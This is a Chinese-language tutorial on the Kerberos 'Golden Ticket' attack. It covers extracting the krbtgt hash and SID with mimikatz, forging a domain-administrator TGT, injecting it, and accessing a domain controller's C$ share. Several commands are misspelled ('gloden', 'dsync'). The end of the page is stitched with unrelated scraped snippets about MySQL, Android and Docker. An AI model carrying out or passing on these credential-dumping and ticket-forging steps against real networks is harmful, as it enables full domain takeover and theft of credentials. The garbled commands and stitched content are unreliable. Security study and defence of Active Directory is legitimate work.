黄金票据(Golden Ticket)的原理与实践
0、黄金票据是什么?
在与认证过程中,经过client与AS的通信会得到TGT,带着TGT想TGS请求,得到票据ticket,用这个ticket可以来访问应用服务器。如果这段有什么疑问,欢迎参考Kerberos认证协议分析。而这个黄金票据就是自己生成的TGT,在生成TGT的过程中,user、domain、timestamp、还有权限等信息会经过krbtgt(该账号不自动更新)账户hash的加密,所以获取到用户、域、SID、krbtgt的hash值就可以生成黄金票据(一般拿到krbtgt需要域管权限,生成的票据当然也是域管账号的,这样就控了整个域,而且有了金票据,免除了as验证username、password的阶段,所以也不担心域管密码修改)。
1、名词解释
1.1 winlogon.exe
接受Username和Password、Domain信息,传递给lsass.exe。
1.2 lsass.exe
lsass.exe经过kerberos机制处理Username和Password后与SAM(账号数据库)进行比对验证,返回登录失败的结果。
1.3 SAM数据库
存储账号密码Hash值的数据库。
1.4 NetLogon
域认证的加密信道(安全信道sChannel)。
2、如何生成黄金票据
2.1 生成黄金票据需要的信息
2.1.1 windows域的名称
PS C:\Users\Administrastor> systeminfo

2.1.2 krbtgt和账号信息簇
mimikatz# sekurlsa::kerberos
mimikatz# sekurlsa::ticket /export
mimikatz# sekurlsa::logonpassword
mimikatz# lsadump::dsync /domain:xxx.xxx.xxx /user:krbtgt
mimikatz# lsadump::lsa /patch -> sid+ntlm
2.2 生成黄金票据
# 使用krbtgt的hash值:
mimikatz# kerberos::gloden /user:Administrator /domain:xxx.xxx.xxx /sid:xxxxxxxxxxxxx krbtgt:ntlm-hashvlaue /ticket:test.kribi
# 使用krbtgt的aes256值:
mimikatz# kerberos::gloden /domain:xxx.xxx /sid:xxxxxxxxxxx /aes256:xxxxxxxx /user:Administrator /ticket:test.kribi
3 黄金票据的使用
# 导入票据
mimikatz::ptt test.kribi
#检验缓存票据
PS C:\Users\Administrastor> klist
#利用票据访问
PS C:\Users\Administrastor> net use \\xx.domain-name
dir \\xx.domain-name\c$
黄金票据(Golden Ticket)的原理与实践的更多相关文章
- Kerberos的黄金票据详解
0x01黄金票据的原理和条件 黄金票据是伪造票据授予票据(TGT),也被称为认证票据.如下图所示,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信.由于黄金票据是伪造的TGT,它作为TGS- ...
- 域渗透之通过DCSync获取权限并制作黄金票据
环境背景 账号: admin 没有域管权限 admin02 有域管权限 administrator 有域管权限 模拟渗透过程: 利用任意方法已经登录到client1(Windows 7),在clien ...
- 伪造TGT黄金票据
通过上一篇文章我们初步了解了Kerberos协议的工作过程,解决的两个问题 第一个问题:如何证明你本人是XXX用户的问题 由Authentication Server负责 第二个问题:提供服务的服 ...
- Atitit 管理原理与实践attilax总结
Atitit 管理原理与实践attilax总结 1. 管理学分类1 2. 我要学的管理学科2 3. 管理学原理2 4. 管理心理学2 5. 现代管理理论与方法2 6. <领导科学与艺术4 7. ...
- Atitit.ide技术原理与实践attilax总结
Atitit.ide技术原理与实践attilax总结 1.1. 语法着色1 1.2. 智能提示1 1.3. 类成员outline..func list1 1.4. 类型推导(type inferenc ...
- Atitit.异步编程技术原理与实践attilax总结
Atitit.异步编程技术原理与实践attilax总结 1. 俩种实现模式 类库方式,以及语言方式,java futuretask ,c# await1 2. 事件(中断)机制1 3. Await 模 ...
- Atitit.软件兼容性原理与实践 v5 qa2.docx
Atitit.软件兼容性原理与实践 v5 qa2.docx 1. Keyword2 2. 提升兼容性的原则2 2.1. What 与how 分离2 2.2. 老人老办法,新人新办法,只新增,少修改 ...
- Atitit 表达式原理 语法分析 原理与实践 解析java的dsl 递归下降是现阶段主流的语法分析方法
Atitit 表达式原理 语法分析 原理与实践 解析java的dsl 递归下降是现阶段主流的语法分析方法 于是我们可以把上面的语法改写成如下形式:1 合并前缀1 语法分析有自上而下和自下而上两种分析 ...
- Atitit.gui api自动化调用技术原理与实践
Atitit.gui api自动化调用技术原理与实践 gui接口实现分类(h5,win gui, paint opengl,,swing,,.net winform,)1 Solu cate1 Sol ...
随机推荐
- mysql5.7 java读取乱码
一直很自信自己编码格式设置的都没有问题,以前就算遇到也都很快找到问题并解决.没想到掉进了5.7的坑里. 这段时间实习,大多做的都是.net+sqlserver,确实不用操心这些问题.主要还是各自默认编 ...
- hql date比较
补充:相等时用to_char,比较大小(<或>)时用 时间格式(如果不是时间格式可以用to_date) java.util.Date date=new java.util.Date(); ...
- sql 查找最后一条记录
1.通过row select * from tablewhere rownum<(select count(*)+1 from table)minusselect * from tablewhe ...
- linux 系统安装mysql (rpm)
其实按照本文安装成功,但是启动依然有问题:最好参考链接配置. http://blog.csdn.net/xiaoxiaoxuewen/article/details/7550107 我用的是ubunt ...
- Oracle高级查询之CONNECT BY
为了方便大家学习和测试,所有的例子都是在Oracle自带用户Scott下建立的. Oracle中的select语句可以用start with ... connect by prior ...子句实现递 ...
- Android让文本输入框默认不获取焦点
项目中有个检索功能,页面上有个EditText输入框,打开页面后,焦点默认在EditText上,这样的话软键盘默认就会显示出来,占据大半个屏幕. 后来想办法将这个给去掉了,原先考虑着将焦点赋给页面上的 ...
- Lua string库详解
1. string库中所有的字符索引从前往后是1,2,...;从后往前是-1,-2,...2. string库中所有的function都不会直接操作字符串,而是返回一个结果 string.byte(s ...
- mySql慢查询分析原因
1.分析查询慢的语句,并记录到日志中 查看: http://blog.csdn.net/haiqiao_2010/article/details/25138099
- 源码分析三(Vector与ArrayList的区别)
前面讨论过ArrayList与LinkedList的区别,ArrayList的底层数据结构是数组Object[],而LinkedList底层维护 的是一个链表Entry,所以对于查询,肯定是Array ...
- docker开启api端口,docker启用加速
此篇是针对centos6的docker,注意ubantu和centos7的会有区别. 需要在docker配置文件中修改信息 centos中是这个文件 /etc/sysconfig/docker,Ubu ...